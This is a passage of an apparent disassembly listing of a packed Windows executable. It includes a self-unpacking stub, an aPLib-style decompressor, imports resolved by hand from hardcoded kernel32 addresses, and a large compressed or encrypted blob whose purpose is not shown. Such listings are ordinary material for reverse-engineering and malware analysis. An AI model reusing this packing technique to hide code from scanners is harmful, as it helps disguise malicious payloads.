					; sub_402D45+8r ...
dword_40751C	dd 0			; DATA XREF: sub_40292E+Er
					; seg000:00402D33w ...
dword_407520	dd 0			; DATA XREF: seg000:00402D2Cw
					; sub_402D70+300w ...
dword_407524	dd 0			; DATA XREF: seg000:00402D39w
					; sub_403088+5r ...
dword_407528	dd 0			; DATA XREF: sub_402D70+229r
					; sub_402D70+249r ...
dword_40752C	dd 0			; DATA XREF: sub_40253D+1Aw
					; sub_402566+84r ...
dword_407530	dd 0			; DATA XREF: sub_40253D+15w
					; seg000:0040283Fw ...
		align 10h
byte_407540	db 0			; DATA XREF: sub_40253D+6o
					; seg000:00402799o ...
byte_407541	db 0			; DATA XREF: seg000:004018F0r
					; seg000:004019C6r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_407644	dd 4E4h			; DATA XREF: sub_40253D+10w
					; sub_402566+16r ...
		align 10h
dword_407650	dd 4 dup(0)		; DATA XREF: sub_40253D+1Fo
					; seg000:00402854o ...
byte_407660	db 0			; DATA XREF: sub_402566:loc_402678w
					; sub_402566:loc_402695w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_407760	dd 0D20000h		; DATA XREF: sub_4028F6+2Ar
					; sub_40292E+38r ...
dword_407764	dd 1			; DATA XREF: sub_4028F6+9r sub_40292Er ...
		dd 20h,	5 dup(0)
		dd 0D20650h, 3Fh dup(0)
		dd 1
dword_407884	dd 0D20754h		; DATA XREF: sub_401363+3Er
					; sub_401363:loc_4013B5r ...
dword_407888	dd 0D20758h		; DATA XREF: sub_401363+34r
					; sub_401363+5Ar ...
		dd 1, 0
		dd 142340h, 1DAh dup(0)
seg002		ends

; Section 4. (virtual address 00008000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00008000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg003		segment	para public 'CODE' use32
		assume cs:seg003
		;org 408000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 8000h, 3 dup(0)
		dd 3 dup(8000h), 3F6h dup(0)
seg003		ends

; Section 5. (virtual address 00009000)
; Virtual size			: 0001D000 ( 118784.)
; Section size in file		: 0001D000 ( 118784.)
; Offset to raw	data for section: 00009000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 409000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
		db 60h,	0E8h, 3
		dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h,	0FFEDBB5Dh
		dd 0DD03FFFFh, 9000EB81h, 7D800000h, 0C75014Dh,	2824748Bh
		dd 8901FE83h, 31754E5Dh, 5053458Dh, 0EDB5FF53h,	8D000009h
		dd 0E9503545h, 82h, 390000h, 30000h, 77E79E34h,	3BE000h
		dd 77E805D8h, 77E79F93h, 0
		dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h,	81E801EBh
		dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh
		dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h,	0D0FF3575h
		dd 8535458Bh, 680D74C0h, 8000h,	75FF006Ah, 3D55FF35h, 61DB0B5Bh
		dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 1868000Ch
		dd 806C1C4Ah, 0E85BADF6h, 5, 5CCF2EA9h,	0D98B6665h, 0DED1815Fh
		dd 81576D3Eh, 8AEC7h, 0B86AB200h, 4D279751h, 955DF081h
		dd 0E3814D27h, 5BF4DF89h, 0F681378Bh, 25194D83h, 0C03DFDB9h
		dd 0EE817Dh, 6637B61Bh,	0C681D68Bh, 16C3AF39h, 11E8h, 0BB4AB500h
		dd 971631D8h, 33A26D84h, 8FEE69F0h, 8B66251Ch, 37895AD6h
		dd 2BD9D381h, 0EF810B63h, 593B9C7Fh, 0C781D08Ah, 593B9C7Bh
		dd 10E4BA66h, 0A9850F48h, 66FFFFFFh, 8B66CA8Bh,	12E8C2h
		dd 0A3D20000h, 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h, 9382CD64h
		dd 665E2AB5h, 8109E8BAh, 824C6h, 0CE900h, 3D940000h, 39008332h
		dd 0F52CDF7Eh, 0DB33FB8Ah, 0ADC28166h, 1E3C8B65h, 0F781CCB4h
		dd 4150AE6Eh, 86C7B853h, 81592D43h, 93F90FEFh, 87BFB93Bh
		dd 0C7813804h, 647DCD9Ch, 8951E680h, 8B661E3Ch,	0A8BA66CFh
		dd 4EB83DEh, 81C2B70Fh,	0FFF880FBh, 15850FFFh, 81000000h
		dd 11E2ECC0h, 24E953h, 0BB4A0000h, 971631D8h, 33A26D84h
		dd 608FB966h, 0FFFFA0E9h, 0ABFA25FFh, 87C6A108h, 2352DDB4h
		dd 7F9ED920h, 0AE8954Ch, 6A000000h, 36D1F85Bh, 0C20DA437h
		dd 792FBED3h, 0E85E0F99h, 0Ah, 41284B1Ah, 7DD427E6h, 0BE68C372h
		dd 8A33C8E3h, 685A59CBh, 442155EDh, 59F2B70Fh, 762C281h
		dd 68530000h, 1066746h,	840Fh, 5F590000h, 850FDB33h, 5
		dd 0B19A91BEh, 1A048B08h, 1BA93B9h, 74C0816Ah, 6630EE4Dh
		dd 63FCC681h, 829DE881h, 0C0814CC8h, 2B99A312h,	0F8A0Fh
		dd 7E80000h, 83000000h,	0DF7E3900h, 5956F52Ch, 3068505Eh
		dd 8B07E091h, 48F59CFh,	0F4D5801Ah, 0EB835957h,	800F01h
		dd 4B000000h, 8E94B4Bh,	90000000h, 0BCAF8E89h, 81CB9A45h
		dd 0FFF944FBh, 96850FFFh, 66FFFFFFh, 8B0FCB8Bh,	2, 7E8D5B6h
		dd 0B3000000h, 0F6EE970h, 0DE9A59Ch, 21000000h,	5D340746h
		dd 59A0A3D2h, 15CCFF1Eh, 817EB658h, 6ABC0h, 0D88B6600h
		dd 182B9h, 0FCBB6600h, 0BE30FFBCh, 59F80A3Dh, 3100685Fh
		dd 0DF686AB1h, 5B2347CCh, 0C3EF815Ah, 812DCA53h, 7D4440F7h
		dd 0EE870h, 0CF2E0000h,	0EB3A655Ch, 0C706E148h,	63921DF4h
		dd 815ADE8Bh, 0A1BF79F7h, 158A0F19h, 0E8000000h, 0Ch, 53428D24h
		dd 0AF8E8990h, 0CB9A45BCh, 5BD08B66h, 0BF0F3889h, 0B5E881D9h
		dd 0F66C06Dh, 0C081DFB7h, 66C06DB1h, 0E983FD8Ah, 8A850F01h
		dd 66FFFFFFh, 0BF68F78Bh, 564E10ECh, 24E18166h,	0E85A58E4h
		dd 5, 0BCAF8E89h, 0CA8B5145h, 3EBA5B59h, 815FF9A8h, 5F0C3h
		dd 0AE900h, 0BB4A0000h,	971631D8h, 33A26D84h, 1CBAFF33h
		dd 0FF194DA0h, 81661F34h, 5E5BC6E0h, 572DD68h, 5E804h
		dd 9ED90000h, 50954C7Fh, 815A585Ah, 803906EEh, 0F0816677h
		dd 0EE813526h, 139C4BC7h, 3830Fh, 8B660000h, 0F4C681CEh
		dd 0B51B8D15h, 6650568Bh, 58D94FB9h, 523B048Fh,	0A347B866h
		dd 8E959h, 99E00000h, 550C3F5Eh, 0EF835B6Ah, 0C2B70F03h
		dd 0EE94Fh, 2F0E0000h, 4B1AC53Ch, 27E64128h, 0C3727DD4h
		dd 0FAD8FF81h, 850FFFFFh, 0FFFFFF7Fh, 14E8h, 0CA356C00h
		dd 96B1583Bh, 22ED0417h, 6EE970B3h, 7AA59C0Fh, 0E146682Bh
		dd 595951CDh, 0E8h, 895B5D00h, 895B5B5Dh, 89585F5Dh, 40D85h
		dd 7D805800h, 5975015Ah, 4258589h, 8D600000h, 33503345h
		dd 30FF64C0h, 8B208964h, 2E4E8C3h, 1CEB0000h, 824648Bh
		dd 68F6764h, 0C4830000h, 458D6104h, 55FF5063h, 2DEE85Fh
		dd 9EB0000h, 68F6764h, 0C4830000h, 1BEB24h, 409048h, 77E79F93h
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 29CE800h, 8DFC0000h
		dd 8CB5h, 0C00BAD00h, 0F88B1B74h, 0CB9h, 0EBA4F300h, 40100010h
		dd 83432000h, 0AA1991B2h, 94861100h, 29A5896Ch,	6A000004h
		dd 10006840h, 0B5FF0000h, 408h,	95FF006Ah, 3F0h, 1CC8589h
		dd 9D8B0000h, 400h, 40D9D03h, 53500000h, 104E8h, 68406A00h
		dd 1000h, 408B5FFh, 6A0000h, 3F095FFh, 85890000h, 431h
		dd 1D08589h, 67640000h,	890000A1h, 42D85h, 5B558B00h, 1D0858Bh
		dd 2890000h, 408858Bh, 42890000h, 9F858D04h, 8B000003h
		dd 42895540h, 0EC858B08h, 89000003h, 858B1042h,	3E8h, 8B144289h
		dd 1CC95h, 1F8BB00h, 7C8B0000h,	0FF0B0C1Ah, 4C8B1E74h
		dd 0C90B101Ah, 0BD031174h, 1D0h, 141A748Bh, 0F9C1F203h
		dd 83A5F302h, 0DAEB28C3h, 1CC858Bh, 8B500000h, 1D095h
		dd 188B5200h, 858BDA03h, 3E4h, 858B0389h, 3E8h,	8B044389h
		dd 3EC85h, 8438900h, 468B5E5Fh,	89C70304h, 1C785h, 5B558B00h
		dd 1C7858Bh, 42890000h,	0D9D8D0Ch, 53000004h, 6A006Ah
		dd 8B57016Ah, 0DF03085Eh, 80006853h, 6A0000h, 0F495FF56h
		dd 68000003h, 3BE000h, 360000C3h, 39000000h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		cld
		mov	dl, 80h

loc_409647:				; CODE XREF: .data:loc_409656j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi

loc_40964D:				; CODE XREF: .data:004096ABj
					; .data:004096F0j ...
		add	dl, dl
		jnz	short loc_409656
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_409656:				; CODE XREF: .data:0040964Fj
		jnb	short loc_409647
		add	dl, dl
		jnz	short loc_409661
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_409661:				; CODE XREF: .data:0040965Aj
		jnb	short loc_4096AD
		xor	eax, eax
		add	dl, dl
		jnz	short loc_40966E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_40966E:				; CODE XREF: .data:00409667j
		jnb	loc_40974A
		add	dl, dl
		jnz	short loc_40967D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_40967D:				; CODE XREF: .data:00409676j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_409688
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_409688:				; CODE XREF: .data:00409681j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_409693
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_409693:				; CODE XREF: .data:0040968Cj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_40969E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_40969E:				; CODE XREF: .data:00409697j
		adc	eax, eax
		jz	short loc_4096A8
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4096A8:				; CODE XREF: .data:004096A0j
		mov	[edi], al
		inc	edi
		jmp	short loc_40964D
; ---------------------------------------------------------------------------

loc_4096AD:				; CODE XREF: .data:loc_409661j
		mov	eax, 1

loc_4096B2:				; CODE XREF: .data:loc_4096C6j
		add	dl, dl
		jnz	short loc_4096BB
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4096BB:				; CODE XREF: .data:004096B4j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4096C6
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4096C6:				; CODE XREF: .data:004096BFj
		jb	short loc_4096B2
		sub	eax, 2
		jnz	short loc_4096F5
		mov	ecx, 1

loc_4096D2:				; CODE XREF: .data:loc_4096E6j
		add	dl, dl
		jnz	short loc_4096DB
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4096DB:				; CODE XREF: .data:004096D4j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4096E6
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4096E6:				; CODE XREF: .data:004096DFj
		jb	short loc_4096D2
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_40964D
; ---------------------------------------------------------------------------

loc_4096F5:				; CODE XREF: .data:004096CBj
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_409703:				; CODE XREF: .data:loc_409717j
		add	dl, dl
		jnz	short loc_40970C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_40970C:				; CODE XREF: .data:00409705j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_409717
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_409717:				; CODE XREF: .data:00409710j
		jb	short loc_409703
		cmp	eax, 7D00h
		jnb	short loc_40973A
		cmp	eax, 500h
		jb	short loc_409735
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_40964D
; ---------------------------------------------------------------------------

loc_409735:				; CODE XREF: .data:00409725j
		cmp	eax, 7Fh
		ja	short loc_40973D

loc_40973A:				; CODE XREF: .data:0040971Ej
		add	ecx, 2

loc_40973D:				; CODE XREF: .data:00409738j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_40964D
; ---------------------------------------------------------------------------

loc_40974A:				; CODE XREF: .data:loc_40966Ej
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_409766
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_40964D
; ---------------------------------------------------------------------------

loc_409766:				; CODE XREF: .data:00409752j
		pop	ebp
		sub	edi, [ebp+0Ch]
		mov	[ebp-4], edi
		popa
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dw 2140h
		dd 448B77E8h, 252424h, 5FFFF00h, 10000h, 100002Dh, 38816600h
		dd 0F4755A4Dh, 0F8858960h, 8B000003h, 3D88BD0h,	58033C40h
		dd 0D9D8978h, 8D000003h, 3CC9Dh, 0E4BD8D00h, 8B000003h
		dd 7CB58933h, 0E8000003h, 0Bh, 4C383ABh, 75003B83h, 60C361EAh
		dd 30D9D8Bh, 4B8B0000h,	8BCA0320h, 0E8F20331h, 2Fh, 0CD75CEBFh
		dd 74C73B49h, 4C18305h,	4B2BE9EBh, 0D1CA2B20h, 244B03E9h
		dd 0B70FCA03h, 2E1C109h, 31C4B03h, 3098BCAh, 244C89CAh
		dd 52C3611Ch, 3B248EBAh, 0C00AAC9Ch, 0D0321474h, 0EAD108B0h
		dd 0F2810673h, 0C1A7F39Ah, 0F275C8FEh, 5A92E7EBh, 2551A7C3h
		dd 493BF0B7h, 190257A7h, 0EE321390h, 0CD75CE74h, 49h, 0E7A5FD00h
		dd 0E79F9377h, 0E805D877h, 0E7980A77h, 0E79E3477h, 0E6000077h
		dd 3C0077h, 9B2C00h, 158F400h, 3000000h, 0
		dd 2 dup(40h), 2 dup(0)
		dd 5D980000h, 0
		dd 0FFA40000h, 0FFE00012h, 12h,	10000039h, 3E000000h, 29240000h
		dd 50000000h, 14000000h, 9CE0000h, 70000000h, 4000000h
		dd 18D0000h, 80000000h,	10000000h, 2F0000h, 45h	dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 77E7A5FDh, 77E79F93h, 77E805D8h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 9A10h, 99FCh, 3 dup(0)
		dd 9AB4h, 9ADBh, 3 dup(0)
		dd 9AC1h, 9AE3h, 3 dup(0)
		dd 9ACEh, 9AEBh, 5 dup(0)
		dd 61766461h, 32336970h, 6C6C642Eh, 656C6F00h, 33747561h
		dd 6C642E32h, 656B006Ch, 6C656E72h, 642E3233h, 0F0006C6Ch
		dd 77DD72h, 25000000h, 771218h,	6000000h, 77E6D7h, 0
		db    0
aRegcreatekeya	db 'RegCreateKeyA',0
		align 4
		db    0
aVariantchanget	db 'VariantChangeTypeEx',0
		db 2 dup(0), 52h
aAiseexception	db 'aiseException',0
		align 4
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
		dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
		dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
		dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
		dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
		dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h
		dd 68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h
		dd 6F8861EFh, 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh
		dd 3D832D88h, 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh
		dd 0F482C080h, 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch
		dd 847C62C8h, 52805C6h,	0EA0014Ah, 8CF5005Ah, 6D68100Ah
		dd 87299707h, 0C3800F51h, 3BAF3E9h, 0E5EB14FEh,	5DF82EA0h
		dd 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah
		dd 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h
		dd 423C3Ah, 0A63D51D5h,	0E4B52EB3h, 39FE601h, 61B88993h
		dd 117FDE4h, 153E3238h,	0E0535E57h, 0E9007505h,	0DA77CA51h
		dd 1F3B1A94h, 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch
		dd 83390980h, 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh
		dd 176D0038h, 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h
		dd 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh
		dd 0AE158203h, 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h
		dd 0EE030772h, 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h
		dd 31185B9h, 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch
		dd 7C0010FAh, 703C70Fh,	8B3034h, 2085D14Ch, 28A0D80Ch
		dd 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h
		dd 87B81C3Fh, 4EA83D0h,	0FCE2ABF0h, 7FE40186h, 15011217h
		dd 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh,	2C2B5F02h
		dd 13010D84h, 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh
		dd 0E1339048h, 9149200h, 31742506h, 47F2Ah, 0A154B0DAh
		dd 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh
		dd 8AB8FAC7h, 72E0A746h, 0C62B0800h, 58EB703Bh,	8806001Eh
		dd 2B64FE8h, 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h
		dd 20670AA9h, 3E5A250Bh
		dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h,	4600FC32h
		dd 8316A008h, 0FE7A23h,	0B02CC74Bh, 0B20994F8h,	13B34503h
		dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h
		dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h
		dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h,	822CF4h
		dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h
		dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh
		dd 1B00060h, 489C5A59h,	30006BE9h, 7389DFA0h, 2C0239BAh
		dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h
		dd 0FAC2F4h, 4D2E4C9Bh,	0A5F49009h, 4410BC00h, 1D5C890Dh
		dd 25B0013h, 3AEB1B87h,	431FE369h, 0C3001296h, 0E6BF5A92h
		dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h
		dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h
		dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h
		dd 7448C51h, 591913CAh,	0A8870EAFh, 78962640h, 6B050969h
		dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h
		dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h,	297B0099h
		dd 4470119h, 9D030320h,	7449F30Bh, 0C63FC824h, 0E8170781h
		dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h,	5EDF6Dh
		dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h
		dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h
		dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h
		dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h
		dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h,	0EAC55E03h
		dd 98CDA984h, 0BF1620h,	0BD0B8291h, 0D4E19B80h,	775C5375h
		dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh,	7F1F31D7h
		dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h,	67D10DE4h
